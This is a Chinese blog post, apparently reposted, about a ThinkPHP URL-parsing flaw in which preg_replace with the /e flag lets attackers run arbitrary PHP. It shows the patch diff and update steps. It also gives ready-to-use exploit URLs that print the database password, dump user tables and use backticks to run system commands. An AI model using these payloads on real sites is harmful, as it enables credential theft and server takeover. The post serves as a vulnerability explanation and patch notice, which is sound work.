THINKPHP URL漏洞可執行任意系統命令


ThinkPHP是一款國內使用比較廣泛的老牌PHP MVC框架,有不少創業公司或者項目都用了這個框架(目前我們公司所有項目都是TP的),ThinkPHP不正確過濾用戶提交的參數,遠程攻擊者可以利用漏洞以應用程序上下文執行任意PHP代碼。
通過SVN我們來分析一下官方的補丁
/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php 
125  -   $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); 
125  +   $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']=\'\\2\';', implode($depr,$paths)); 

這個代碼是把pathinfo當作restful類型url進行解析的,主要作用是把pathinfo中的數據解析並合並到$_GET數組中。 
然而在用正則解析pathinfo的時候,主要是這一句

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

這里明顯使用了preg_replace的/e參數,這是個非常危險的參數,如果用了這個參數,preg_replace第二個參數就會被當做php代碼執行,作者用這種方式在第二個參數中,利用PHP代碼給數組動態賦值。

'$var[\'\\1\']="\\2";' 

而這里又是雙引號,而雙引號中的php變量語法又是能夠被解析執行的。因此,攻擊者只要對任意一個使用thinkphp框架編寫的應用程序,使用如下方式進行訪問,即可執行任意PHP代碼: 

1. 使用URL可以查看用戶的數據庫帳號密碼DB_NAME,DB_PASS,DB_HOST

- index.php/module/action/param1/${@print(THINK_VERSION)} 
- index.php/module/action/param1/${@print(C(‘’))}
- index.php/module/action/param1/${@print(C(‘DB_PASS’))}

2.使用模型D方法或者M方法,猜測后台帳號密碼,當然要先猜一下用戶的表名了一般情況都是user/users/admin/employee,反正我滴用戶表都是這些0.0,當然其他的PHP函數都是可以執行的

http://www.XXX.com/eetodaycom/index.php/Product/show/id/25/parm1/${@var_dump(D(user)->select())}

 3. 利用PHP在“·”(Tab鍵上面的鍵,URL編碼后為%60)之間的內容可以當做命令執行的方式,不管是windows還是Linux下(使用PHP_OS可以查看在哪個服務器上運行)

都可以執行cmd或者是Shell命令, 這個就特別危險了,我們可以獲取的系統的控制權限,測試一下windows下版本

獲取系統管理員帳號

 

如果你有THINKPHP框架做的網站,那就說明你的系統現在已經在裸奔了,官方已經發布修復漏洞的補丁,地址:

http://thinkphp.cn/down-116.html

更新方法:

首先解壓縮補丁文件

2.1和2.2版本
替換補丁包中的Dispatcher.class.php 文件到 ThinkPHP/Lib/Think/Util/目錄下的同名文件

3.0版本
替換補丁包中的Dispatcher.class.php 文件到 ThinkPHP/Lib/Core/目錄下面的同名文件
替換補丁包中的CheckRouteBehavior.class.php 文件到 ThinkPHP/Lib/Behavior/目錄下面的同名文件

以上信息純屬學習~不得用以非法入侵破壞0.0 否則后果自負!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM